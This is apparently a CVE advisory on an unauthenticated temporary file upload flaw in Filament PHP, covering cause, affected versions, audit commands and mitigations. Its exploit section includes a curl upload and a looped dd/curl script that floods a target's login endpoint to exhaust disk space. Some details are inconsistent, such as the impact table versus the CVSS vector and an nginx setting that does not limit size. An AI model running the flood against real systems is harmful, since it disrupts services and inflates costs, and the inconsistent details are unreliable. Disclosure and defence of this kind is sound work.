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How CVE-2026-48500 Works
Filament is a full-stack component collection for accelerated Laravel development. The framework applies Livewire’s `WithFileUploads` trait to any Livewire component that contains a schema with a file upload form field. This trait enables temporary file upload handling, a necessary feature for components that genuinely require file submissions.
However, the vulnerability arises because certain schemas—most notably the panel login form—do not require file uploads at all. Despite this, Filament still applies the `WithFileUploads` trait to these components, exposing unauthenticated temporary file upload endpoints. An attacker can interact with these endpoints without any authentication, uploading arbitrary files to the application’s temporary storage directory.
The core issue is a missing authorization check (CWE-862). The trait is applied unconditionally, and no permission validation is performed to verify that the user should be allowed to upload files on that specific component. Because the login page is publicly accessible, the upload functionality becomes publicly accessible as well.
Once the attacker uploads a file, it is stored temporarily on the server’s filesystem or cloud storage. While the attacker cannot directly execute or retrieve these files (the vulnerability is not a remote code execution or file disclosure flaw), the ability to upload unlimited files creates a significant denial-of-service risk. Repeated uploads can exhaust available disk space, fill inodes, or inflate cloud storage costs—especially in auto-scaling environments where storage costs are metered.
The vulnerability affects all Filament versions from 3.0.0 through 3.3.51, 4.0.0 through 4.11.4, and 5.0.0 through 5.6.4. It was patched in versions 3.3.52, 4.11.5, and 5.6.5. The vulnerability was discovered and reported by Basant Kumar (@CyberWarrior9) and assigned a CVSS v3.1 score of 6.5 (Medium) with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L.
DailyCVE Form:
Platform: ……. Filament PHP
Version: …….. 3.0.0–3.3.51, 4.0.0–4.11.4, 5.0.0–5.6.4
Vulnerability :…… Unauthenticated Temporary File Upload
Severity: ……. Moderate (CVSS 6.5)
date: ………. 2026-06-22
Prediction: ….. 2026-06-23 (Patches released)
What Undercode Say: Analytics
The following commands can be used to audit your Filament installation for the vulnerable trait application:
Check currently installed Filament version composer show filament/filament Search for Livewire components that use WithFileUploads in auth contexts grep -r "WithFileUploads" app/Livewire/ --include=".php" | grep -i "login|register|auth" Check temporary storage directory for unexpected files ls -la storage/app/livewire-tmp/ Monitor disk usage for sudden increases df -h
The vulnerable code pattern appears in component definitions like this:
use Livewire\WithFileUploads;
class Login extends Component
{
use WithFileUploads; // <-- Applied even though no file upload is needed
public function render()
{
return view('auth.login');
}
}
The patch applied by the Filament team removes the `WithFileUploads` trait from components that do not require file uploads, ensuring that temporary file upload endpoints are only exposed where explicitly needed.
Exploit
An attacker can exploit this vulnerability by sending multipart/form-data POST requests to the login page endpoint with a `file` parameter containing arbitrary binary data. A simple `curl` command demonstrates the attack:
Generate a 10MB dummy file dd if=/dev/urandom of=payload.bin bs=1M count=10 Send the file to the login page's temporary upload endpoint curl -X POST https://target.com/login \ -F "[email protected]" \ -H "Accept: application/json"
The server processes the request through Livewire’s temporary file upload handler, stores the file in storage/app/livewire-tmp/, and returns a temporary filename. This process can be automated in a loop:
Repeatedly upload files to exhaust disk space
for i in {1..1000}; do
dd if=/dev/urandom of=payload_$i.bin bs=1M count=10 2>/dev/null
curl -s -X POST https://target.com/login -F "file=@payload_$i.bin" > /dev/null &
done
The attack requires no authentication, no special headers, and no bypass techniques—the upload endpoint is simply exposed and functional.
Protection
Immediate Mitigation:
- Upgrade Filament to the patched versions: 3.3.52, 4.11.5, or 5.6.5 (or later).
composer require filament/filament:^5.6.5
- If upgrading is not immediately possible, remove the `WithFileUploads` trait manually from any auth-related Livewire components (login, register, password reset, etc.) that do not require file uploads.
- Restrict temporary uploads by configuring your web server to reject multipart requests to auth endpoints:
Nginx example: reject file uploads on login page location = /login { client_max_body_size 0; return 405; } - Implement rate limiting on authentication endpoints to reduce the impact of automated attacks:
// In App\Http\Kernel.php protected $middlewareGroups = [ 'web' => [ // ... \Illuminate\Routing\Middleware\ThrottleRequests::class . ':5,1', ], ];
- Monitor temporary storage (
storage/app/livewire-tmp/) for unexpected file growth and set up alerts for abnormal disk usage.
Impact
| Aspect | Detail |
|–|–|
| Confidentiality | None—attackers cannot read or access uploaded files. |
| Integrity | Low—attackers can write arbitrary files but cannot modify existing data. |
| Availability | High—repeated uploads can exhaust disk space, crash the application, or incur significant cloud storage costs. |
| Attack Vector | Network—exploitable remotely over HTTP/HTTPS. |
| Authentication | None required—the login page is publicly accessible. |
| User Interaction | None—the attack is fully automated. |
The vulnerability poses the greatest risk to production environments with limited disk capacity or cloud deployments where storage costs scale with usage. In auto-scaling Kubernetes environments, filling the ephemeral storage of a pod can trigger evictions and service disruption. For SaaS providers using Filament, this vulnerability could be weaponized to drive up infrastructure costs significantly.
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Sources:
Reported By: github.com
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